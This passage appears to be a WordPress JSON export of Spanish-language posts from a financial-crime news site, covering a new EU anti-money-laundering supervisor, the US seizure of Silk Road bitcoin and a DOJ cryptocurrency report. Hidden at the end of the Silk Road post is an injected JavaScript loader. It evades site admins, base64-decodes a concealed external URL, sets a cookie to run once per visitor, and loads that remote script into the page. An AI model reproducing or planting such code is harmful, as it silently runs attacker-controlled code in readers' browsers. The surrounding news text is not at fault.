inherit;\">The\u00a0 <\/span><\/span><a href=\"https:\/\/www.consilium.europa.eu\/en\/meetings\/ecofin\/2020\/11\/04\/\" target=\"_blank\" rel=\"noopener noreferrer\"><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">agreement\u00a0<\/span><\/span><\/a><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\"> in the EU Council will lay the groundwork for more formal legal edicts expected to come into force early next year, an initiative widely watched by global watchdog groups and associated world powers in the wake of the embarrassing banking scandals. The Baltic and Nordic countries (with the laundering of an estimated billions of dollars linked to high-risk regions such as Russia) will destroy the perception that the EU has a strong AML \/ CFT structure.<\/span><\/span>\n\nEl Consejo de Europa tambi\u00e9n \"apoya la creaci\u00f3n de un supervisor a nivel de la UE con poderes de supervisi\u00f3n directa sobre un n\u00famero de entidades obligadas de alto riesgo, as\u00ed como la autoridad para asumir la supervisi\u00f3n de un supervisor nacional en situaciones excepcionales y claramente definidas\", seg\u00fan los ministros, en una medida dr\u00e1stica.\n\nEl impulso para hacer cambios en todas estas \u00e1reas es claramente una respuesta al esc\u00e1ndalo del Danske Bank, que contin\u00faa haciendo ruido.\n\nEl esc\u00e1ndalo ha hecho que el mayor prestamista de Dinamarca se enfrente a una pl\u00e9tora de sondeos, investigaciones, acusaciones y recriminaciones en varios pa\u00edses por el monitoreo, reporte y manejo de unos 200.000 millones de euros, o m\u00e1s de US$224.000 millones, en transacciones potencialmente sospechosas vinculadas a Rusia entre 2007 y 2015.\n\nEl esc\u00e1ndalo ha puesto en la calle a algunos de los principales l\u00edderes bancarios en Dinamarca y Suecia, ha puesto en la encrucijada a Deutsche Bank e incluso ha puesto a los reguladores en las regiones bajo la mira, incluso cuando estos reguladores y sus agencias regulatorias trabajan para imponer sanciones a las instituciones involucradas. Pero las debilidades en la UE que permitieron tales esc\u00e1ndalos podr\u00edan estar recibiendo la atenci\u00f3n que merecen.\n\n\"La lucha contra el lavado de dinero y el financiamiento del terrorismo es una de las principales prioridades de la presidencia alemana\", dijo Olaf Scholz, ministro federal de Finanzas y vicecanciller de Alemania, en un comunicado.\n\n\"Los recientes supuestos casos de lavado de dinero, incluso en la UE, subrayan la urgencia de actuar\", dijo. \u201cUnas normas m\u00e1s armonizadas y una supervisi\u00f3n a nivel de la UE nos permitir\u00e1n ser m\u00e1s eficaces y fortalecer el marco de lucha contra el lavado de la UE. Es una se\u00f1al importante de que todos estamos unidos por las estrictas medidas contra el lavado de dinero\".\n\n<b><u>Para una nueva autoridad ALD\/CFT de la UE, m\u00e1s poder, comunicaci\u00f3n y coordinaci\u00f3n<\/u><\/b>\n\nLa misiva del Consejo pide a la Comisi\u00f3n de la UE que d\u00e9 prioridad al trabajo en la creaci\u00f3n de un \"c\u00f3digo normativo \u00fanico\" para la supervisi\u00f3n ALD\/CFT que abarque los pa\u00edses y, con las expectativas establecidas, el establecimiento de un organismo de supervisi\u00f3n ALD\/CFT a nivel de la UE que se entrelazar\u00eda y trabajar\u00eda con las unidades de inteligencia (UIF).\n\nLa comisi\u00f3n tambi\u00e9n debe \u201cgarantizar que el supervisor ALD\/CFT de la UE, como nueva autoridad competente, est\u00e9 completamente integrado en las estructuras de cooperaci\u00f3n entre todas las instituciones relevantes a nivel nacional y de la UE, tales como las autoridades nacionales competentes, las UIF y los mecanismos de coordinaci\u00f3n y apoyo\u201d, seg\u00fan el consejo.\n\nAl mismo tiempo, el nuevo supervisor ALD\/CFT debe estar en coordinaci\u00f3n y comunicaci\u00f3n con \"las autoridades de ley, otras autoridades p\u00fablicas relevantes en la UE, as\u00ed como con las instituciones de la UE, incluido el Banco Central Europeo (BCE) como supervisor prudencial en los casos pertinentes y otras autoridades y agencias como las Autoridades Europeas de Supervisi\u00f3n (AES), la Fiscal\u00eda Europea (EPPO) y Europol\".\n\nLa naciente autoridad tambi\u00e9n podr\u00eda encontrarse en medio de un tira y afloja a nivel pa\u00edses.\n\n\"En particular con respecto al flujo de informaci\u00f3n entre las autoridades de supervisi\u00f3n de origen y de destino, el supervisor de la UE debe desempe\u00f1ar un papel de mediador en los conflictos\", seg\u00fan el consejo.\n\n<b><u>Un gran poder ALD\/CFT conlleva una gran responsabilidad: imponer sanciones<\/u><\/b>\n\nEl organismo a\u00fan en formaci\u00f3n tendr\u00e1 amplios poderes a nivel de bloque y pa\u00eds.\n\nLas responsabilidades del supervisor ALD\/CFT de la UE deben \"incluir el derecho a inspecciones generales, incluida la solicitud de informaci\u00f3n, el examen de registros y la realizaci\u00f3n de supervisi\u00f3n en el sitio y extra situ, as\u00ed como el derecho a imponer medidas de supervisi\u00f3n y sanciones administrativas\", seg\u00fan al consejo.\n\nEstos incluir\u00edan el examen de grandes grupos bancarios, los que operan en varios estados miembros, para encontrar lagunas y fallas percibidas e incluso la autoridad para \"obligar la designaci\u00f3n de un oficial de cumplimiento, exigir informes regulares y emitir instrucciones directas con respecto a la debida diligencia mejorada o transacciones de alto riesgo.\"\n\nUna vez establecida, la nueva autoridad podr\u00eda actuar m\u00e1s r\u00e1pidamente para presionar cambios\u2014a nivel de pa\u00eds o con incursiones guiadas con precisi\u00f3n en instituciones individuales\u2014 lo que ser\u00eda una mejora con respecto al proceso lento y de m\u00faltiples pasos para fomentar el cumplimiento utilizado actualmente.\n\nPor ejemplo, cuando se trata de pa\u00edses que se demoran en adoptar la Quinta Directiva de la UE contra el lavado de dinero (AMLD5) en la legislaci\u00f3n nacional, la comisi\u00f3n debe primero revisar un pa\u00eds, luego enviar un dictamen, luego remitir el asunto al Tribunal de Justicia de la UE y luego finalmente puede comenzar a imponer sanciones monetarias por incumplimiento.\n\nEn febrero, justo en el momento en que la pandemia de COVID-19 comenz\u00f3 a aflorar, la Comisi\u00f3n Europea envi\u00f3 cartas de notificaci\u00f3n formal a Chipre, Hungr\u00eda, los Pa\u00edses Bajos, Portugal, Rumania, Eslovaquia, Eslovenia y Espa\u00f1a por no haber notificado ninguna medida de implementaci\u00f3n para la nueva directiva.\n\n<b><u>Incluso mientras la pandemia contin\u00faa, las autoridades no permitir\u00e1n que los pa\u00edses la usen como excusa en materia de ALD\/CFT<\/u><\/b>\n\nLos funcionarios tampoco est\u00e1n dejando que los pa\u00edses se salgan del apuro debido a la pandemia.\n\n\u201cLa lucha contra el lavado de dinero es tan relevante ahora como antes de la pandemia de coronavirus\u201d, afirm\u00f3 la comisi\u00f3n. \"De hecho, los delitos relacionados con el coronavirus y el lavado de sus ganancias van en aumento, seg\u00fan Europol y las autoridades policiales nacionales\".\n\nAsegurar la transposici\u00f3n correcta y oportuna de las normas ALD\/CFT existentes es una de las acciones previstas por la Comisi\u00f3n en su Plan de Acci\u00f3n de seis puntos publicado en mayo.\n\nEso podr\u00eda ser un desaf\u00edo con m\u00e1s presi\u00f3n proveniente del supervisor ALD\/CFT de la UE, una fecha l\u00edmite inminente para algunos, pero un cambio bienvenido por otros.\n\n\"Estoy encantado de que los ministros de finanzas hayan adoptado conclusiones sobre el Plan de Acci\u00f3n contra el Lavado de Dinero de la Comisi\u00f3n de mayo de 2020\", dijo el vicepresidente ejecutivo de la Comisi\u00f3n de la UE, Valdis Dombrovskis, y agreg\u00f3 que el esfuerzo ser\u00e1 una \"base ambiciosa para preparar un paquete de propuestas legales ALD\/CFT en el primer trimestre de 2021\".\n\n\u201cEl lavado de dinero erosiona la confianza en nuestros bancos e instituciones financieras, en nuestras autoridades y gobiernos\u201d, dijo. \u201cEl dinero sucio es altamente m\u00f3vil y esto hace que sea un desaf\u00edo complejo de manejar. Es por eso que debemos abordar este problema de manera coherente a nivel de la UE y estamos decididos a hacerlo\".","post_title":"La UE crear\u00e1 un nuevo regulador ALD\/CFT para todo el bloque con autoridad para revisar y sancionar a las instituciones","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"la-ue-creara-un-nuevo-regulador-ald-cft-para-todo-el-bloque-con-autoridad-para-revisar-y-sancionar-a-las-instituciones","to_ping":"","pinged":"","post_modified":"2020-11-17 19:26:59","post_modified_gmt":"2020-11-17 23:26:59","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25351","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25324,"post_author":"16","post_date":"2020-11-10 12:14:36","post_date_gmt":"2020-11-10 16:14:36","post_content":"https:\/\/youtu.be\/bHmZmpSdSjQ\n\n\u201cSilk Road era el mercado criminal en l\u00ednea m\u00e1s notorio de su \u00e9poca\u201d, dijo el fiscal federal de EE.UU. David L. Anderson. \u201cEl enjuiciamiento exitoso del fundador de Silk Road en 2015 dej\u00f3 abierta una pregunta de mil millones de d\u00f3lares. \u00bfA d\u00f3nde fue el dinero? La denuncia de decomiso de la semana pasada responde a esta pregunta abierta al menos en parte. Mil millones de d\u00f3lares de estos ingresos delictivos est\u00e1n ahora en posesi\u00f3n de los Estados Unidos\".\n\n<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia.png 1266w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n\u201cSilk Road era el mercado criminal en l\u00ednea m\u00e1s notorio de su \u00e9poca\u201d, dijo el fiscal federal de EE.UU. David L. Anderson. \u201cEl enjuiciamiento exitoso del fundador de Silk Road en 2015 dej\u00f3 abierta una pregunta de mil millones de d\u00f3lares. \u00bfA d\u00f3nde fue el dinero? La denuncia de decomiso de la semana pasada responde a esta pregunta abierta al menos en parte. Mil millones de d\u00f3lares de estos ingresos delictivos est\u00e1n ahora en posesi\u00f3n de los Estados Unidos\".\n\nLa semana pasada, el Departamento de Justicia de EE.UU. present\u00f3 una demanda de decomiso civil contra la incautaci\u00f3n m\u00e1s grande de activos digitales por un valor total de m\u00e1s de US$1.000 millones. Los agentes de ley utilizaron herramientas y asistencia de la firma Chainalysis en la investigaci\u00f3n para identificar las billeteras de criptomonedas m\u00e1s grandes con conexiones a Silk Road, el primer mercado moderno de la dark web, lo que les permiti\u00f3 generar pistas a partir de la evidencia en la cadena de bloques. Este Bitcoin se transfiri\u00f3 sin problemas a una billetera controlada por el gobierno que, si se descomisa, se mover\u00e1 al Fondo de Confiscaci\u00f3n del Tesoro (TFF). El TFF financia programas innovadores de aplicaci\u00f3n de la ley, como herramientas de an\u00e1lisis de blockchain y capacitaci\u00f3n, que ayudar\u00e1n a los agentes a identificar y apoderarse de m\u00e1s fondos il\u00edcitos. A principios de este a\u00f1o, las agencias de aplicaci\u00f3n de la ley presentaron acciones de decomiso civil similares contra criptoactivos relacionados con el financiamiento del terrorismo y las actividades de pirater\u00eda de Corea del Norte.\n\n<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1.png 1280w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n\u201cEl producto del delito no debe quedar en manos de los delincuentes. Gracias a la experiencia de la divisi\u00f3n de Investigaci\u00f3n Criminal de la Agencia de Rentas de EE.UU. (IRS-CI) en el seguimiento del dinero, pudimos rastrear los fondos il\u00edcitos\u201d, dijo Kelly R. Jackson, agente especial a cargo del IRS-CI. \"La Unidad de Delitos Cibern\u00e9ticos de Washington DC est\u00e1 especialmente especializada en rastrear transacciones de moneda virtual y continuaremos perfeccionando nuestras habilidades para combatir la actividad ilegal\".\n\nEl 3 de noviembre, el bot de Twitter @Whale_alert marc\u00f3 una gran transacci\u00f3n de 69,369 BTC, lo que llev\u00f3 a muchos a especular si la billetera inactiva conectada a Silk Road hab\u00eda sido pirateada o si el propietario ejecut\u00f3 la transacci\u00f3n. De hecho, esta fue la incautaci\u00f3n de los fondos por parte de la polic\u00eda cuando movieron el Bitcoin a la billetera controlada por el gobierno. Esta billetera ahora est\u00e1 etiquetada en los productos de Chainalysis como \"Fondos incautados de Silk Road Marketplace 2020-11-03\".\n\n<b><u>Antecedentes de Silk Road<\/u><\/b>\n\nSilk Road fue el primer mercado importante de redes oscuras digitales en el que los usuarios del sitio compraban y vend\u00edan bienes y servicios il\u00edcitos, incluidas las drogas ilegales. En 2013, las fuerzas del orden cerraron Silk Road y arrestaron a su propietario y operador, Ross Ulbricht, tambi\u00e9n conocido como \"Dread Pirate Roberts\".\n<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"308\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1024x492.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1024x492.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-300x144.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-768x369.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1536x738.png 1536w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-750x360.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1140x548.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity.png 1544w\" sizes=\"(max-width: 640px) 100vw, 640px\"><figcaption>Nota: Este gr\u00e1fico refleja el monto en US$ movidos y la participaci\u00f3n del volumen total asociado con Silk Road. FUENTE: Chainalysis<\/figcaption><\/figure>\nSeg\u00fan los datos de Chainalysis, Silk Road represent\u00f3 casi el 20% de la actividad econ\u00f3mica total de Bitcoin en su punto m\u00e1ximo en 2013. La actividad econ\u00f3mica de Silk Road alcanz\u00f3 un total de US$ 435 millones (calculado con base en el precio de Bitcoin en ese momento) con un pico de poco menos de US$ 40 millones en volumen mensual en septiembre de 2013.\n\nSeg\u00fan las acusaciones de la demanda de decomiso civil, desde 2011 hasta octubre de 2013, cuando fue confiscado por las fuerzas del orden, Silk Road era el mercado criminal m\u00e1s sofisticado y extenso de Internet. Era utilizado como un bazar del mercado negro en expansi\u00f3n donde los usuarios del sitio compraban y vend\u00edan bienes y servicios ilegales con regularidad. La denuncia alega que mientras estaba en funcionamiento, Silk Road fue utilizado por miles de traficantes de drogas y otros vendedores ilegales para distribuir cientos de kilogramos de drogas, as\u00ed como otros bienes y servicios ilegales a m\u00e1s de 100.000 compradores, y para lavar cientos de millones de d\u00f3lares derivados de estas transacciones ilegales.\n\nAl momento de ser desmantelado en 2013, Silk Road ten\u00eda casi 13.000 listas de sustancias ilegales y muchos m\u00e1s listados que ofrec\u00edan servicios ilegales, como pirater\u00eda inform\u00e1tica y servicios de sicarios, que generaban ingresos por ventas por un total de m\u00e1s de 9,5 millones de Bitcoins y comisiones por estas ventas por un total de m\u00e1s de 600.000 Bitcoins. La denuncia tambi\u00e9n alega que Silk Road utiliz\u00f3 un \"tumbler\" para procesar transacciones de Bitcoin de una manera dise\u00f1ada para frustrar el seguimiento de transacciones individuales a trav\u00e9s de la cadena de bloques de criptomonedas.\n\nEl creador de Silk Road, Ross Ulbricht, luego de su arresto en San Francisco, fue condenado en 2015 por un jurado federal de Nueva York por siete cargos criminales, incluida la conspiraci\u00f3n para distribuir narc\u00f3ticos y lavado de dinero.\n\n<b><u>C\u00f3mo las fuerzas del orden identificaron y confiscaron los fondos<\/u><\/b>\n\nA principios de este a\u00f1o, los agentes del IRS-CI analizaron las transacciones de bitcoins ejecutadas por Silk Road e identificaron 54 transacciones de bitcoins no detectadas previamente. Tambi\u00e9n descubrieron que un hacker, conocido como Individual X, rob\u00f3 esos fondos de Silk Road.\n\nEn el gr\u00e1fico de Chainalysis Reactor debajo, vemos que el dinero de Silk Road va a otra billetera (1BADzn\u2026), y a la billetera del individuo X (1HQ3Go\u2026). En 2015, el Individuo X liquid\u00f3 algunos de los fondos robados en BTC-e, un intercambio de criptomonedas que fue incautado por las autoridades estadounidenses en 2017 por lavado de dinero. Pero la mayor\u00eda de los fondos robados se mantuvieron en la billetera del Individuo X a medida que sub\u00eda el precio de Bitcoin, hasta la semana pasada, cuando fueron incautados y trasladados a la billetera del gobierno de EE. UU. Ahora valen m\u00e1s de US$1.000 millones.\n<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"274\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1024x438.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1024x438.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-300x128.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-768x328.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-750x321.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1140x487.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor.png 1432w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n<figcaption>A trav\u00e9s de Chainalysis Reactor se sigui\u00f3 el dinero de Silk Road a otra billetera (1BADzn\u2026), a la billetera del Individuo X (1HQ3Go\u2026).<\/figcaption><\/figure>\nEste es otro ejemplo m\u00e1s de c\u00f3mo los investigadores pueden aprovechar las caracter\u00edsticas de la criptomoneda para seguir el flujo de fondos il\u00edcitos. Si bien este caso es notable por el valor de los fondos incautados, tambi\u00e9n muestra que las agencias gubernamentales que invierten en el an\u00e1lisis de blockchain no solo pueden usar esa tecnolog\u00eda para la generaci\u00f3n proactiva de pistas y para apuntalar los casos, sino tambi\u00e9n para localizar y confiscar ganancias il\u00edcitas. Tambi\u00e9n demuestra que los ingresos generados en cualquier momento pueden incautarse a\u00f1os despu\u00e9s utilizando evidencia de blockchain.\n\nTambi\u00e9n es notable que la incautaci\u00f3n de mil millones de d\u00f3lares realizada la semana pasada fue enviada y confirmada en cuesti\u00f3n de minutos. A diferencia de otros casos que involucran moneda fiduciaria o propiedad personal, donde la transferencia de posesi\u00f3n del gobierno puede llevar d\u00edas o incluso meses, la criptomoneda aprovecha el poder de la tecnolog\u00eda para transferir fondos en cuesti\u00f3n de minutos.<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"Siete a\u00f1os despu\u00e9s del cierre de Silk Road, EE.UU. logra confiscar US$1.000 millones en Bitcoins","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"siete-anos-despues-del-cierre-de-silk-road-ee-uu-logra-confiscar-us1-000-millones-en-bitcoins","to_ping":"","pinged":"","post_modified":"2025-10-24 17:05:20","post_modified_gmt":"2025-10-24 21:05:20","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25324","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25320,"post_author":"16","post_date":"2020-11-10 11:16:53","post_date_gmt":"2020-11-10 15:16:53","post_content":"<p>A principios de este mes, el Departamento de Justicia de EE.UU., a trav\u00e9s de su grupo de trabajo <b>Cyber Digital Task Force<\/b>, public\u00f3 este informe de orientaci\u00f3n criptogr\u00e1fica titulado\u00a0<a style=\"background-color: #ffffff;\" href=\"https:\/\/www.justice.gov\/ag\/page\/file\/1326061\/download\" target=\"_blank\" rel=\"noopener noreferrer\">\"Criptomoneda: un marco de aplicaci\u00f3n\".<\/a><\/p><p>El grupo de trabajo, establecido en 2018, tiene la tarea de evaluar las amenazas planteadas por los avances tecnol\u00f3gicos. Entre otras cosas, un informe inicial destac\u00f3 a la criptomoneda como una amenaza emergente y recomend\u00f3 un examen m\u00e1s detenido. El informe es la versi\u00f3n m\u00e1s acabada del Departamento de Justicia sobre la criptomoneda hasta el momento y tambi\u00e9n sigue una tendencia global general en una mayor claridad en los marcos regulatorios y de aplicaci\u00f3n en torno a las criptomonedas.<\/p><p>A medida que el uso de la criptomoneda evoluciona y se expande, tambi\u00e9n lo har\u00e1n las oportunidades para cometer delitos y hacer da\u00f1o mediante la explotaci\u00f3n de la tecnolog\u00eda de las criptomonedas, los delincuentes se expanden y perfeccionan las t\u00e9cnicas dise\u00f1adas para evadir la detecci\u00f3n.<\/p><p>Los usos il\u00edcitos de las criptomonedas amenazan no solo la seguridad p\u00fablica, sino tambi\u00e9n la seguridad nacional. Por ejemplo, la criptomoneda puede proporcionar a las organizaciones terroristas una herramienta para eludir las instituciones financieras tradicionales con el fin de obtener, transferir y utilizar fondos para avanzar en sus misiones. El uso de la criptomoneda por parte de los terroristas puede representar las primeras gotas de una tormenta inminente de uso expandido que podr\u00eda desafiar la capacidad de Estados Unidos para interrumpir los recursos financieros que permitir\u00edan a las organizaciones terroristas ejecutar exitosamente sus misiones o expandir sus influencias.<\/p><p>Del mismo modo, la criptomoneda presenta una nueva oportunidad preocupante para que las personas y estados esquiven las sanciones internacionales.<\/p>\t\t\n\t\t\t\t\t\t\t<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1140x641.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping.png 1280w\" sizes=\"(max-width: 640px) 100vw, 640px\" \/>\t\t\t\t\t\t\t\t\t\t\t<figcaption>Ejemplo de Chain Hopping<\/figcaption>\n\t\t\t\t\t\t\t\t\t\t<\/figure>\n\t\t<p><b><u>Desaf\u00edos<\/u><\/b><\/p><p>Este informe concluye en la Parte III con una discusi\u00f3n de los desaf\u00edos actuales que enfrenta el gobierno en la aplicaci\u00f3n de la criptomoneda, particularmente con respecto a los modelos comerciales (empleados por ciertos intercambios, plataformas, quioscos y casinos de criptomonedas) y a la actividad (como mixing\u201d and \u201ctumbling,\u201d \u201cchain hopping,\u201d y ciertos casos de arbitraje jurisdiccional) que pueden facilitar la actividad delictiva.<\/p><p>Esos desaf\u00edos se corresponden claramente con el conjunto m\u00e1s amplio de desaf\u00edos que presentan muchas tecnolog\u00edas emergentes para las agencias de aplicaci\u00f3n de la ley.<\/p><p><b><u>ICOs <\/u><\/b><\/p><p>Las tecnolog\u00edas relacionadas con Blockchain son complejas y dif\u00edciles de entender; por ejemplo, los m\u00e9todos para ejecutar delitos como los esquemas pump and dump (de bombeo y descarga) est\u00e1n cambiando y requieren que los investigadores se familiaricen con todo, desde c\u00f3mo se realizan las ofertas iniciales de monedas (Initial Coin Offerings, ICO) hasta c\u00f3mo las personas con conocimientos tecnol\u00f3gicos se comunican en aplicaciones de comunicaciones especializadas. Estas tecnolog\u00edas emergentes no solo son dif\u00edciles de asimilar, sino que los mercados relevantes tambi\u00e9n evolucionan r\u00e1pidamente. El auge de las ICO de hace unos a\u00f1os ha dado paso al crecimiento exponencial de los mercados de finanzas descentralizadas en los \u00faltimos meses, con todas las complejidades y dificultades asociadas para los agentes de ley.<\/p><p><b>Blockchain<\/b><\/p><p>La naturaleza global del ecosistema <i>blockchain<\/i> agrega una capa adicional de complejidad. El crimen organizado se ha extendido m\u00e1s all\u00e1 de las fronteras nacionales durante a\u00f1os, pero <i>blockchain<\/i> lleva esta globalizaci\u00f3n a otro nivel. Las partes realizan transacciones y transferencias entre continentes en cuesti\u00f3n de minutos, y la infraestructura digital de la propia cadena de bloques casi siempre trasciende los l\u00edmites territoriales. Adem\u00e1s de la dificultad, algunos de los intercambios de criptoactivos m\u00e1s grandes operan fuera de Estados Unidos, y muchos todav\u00eda requieren nada m\u00e1s que una direcci\u00f3n de correo electr\u00f3nico no verificada antes de permitir que una persona comience a operar.<\/p><p><b><u>Peer to Peer<\/u><\/b><\/p><p>Finalmente, las plataformas descentralizadas, los cambistas peer-to-peer (entre pares) y las criptomonedas con anonimato mejorado que utilizan cadenas de bloques privadas o no p\u00fablicas pueden ocultar a\u00fan m\u00e1s las transacciones financieras del escrutinio leg\u00edtimo. Los desaf\u00edos son importantes.<\/p>\t\t\n\t\t\t\t\t\t\t<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"351\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-1024x561.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-1024x561.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-300x164.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-768x421.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis.png 1216w\" sizes=\"(max-width: 640px) 100vw, 640px\" \/>\t\t\t\t\t\t\t\t\t\t\t<figcaption>Ejemplo de una transacci\u00f3n il\u00edcita a trav\u00e9s del an\u00e1lisis de 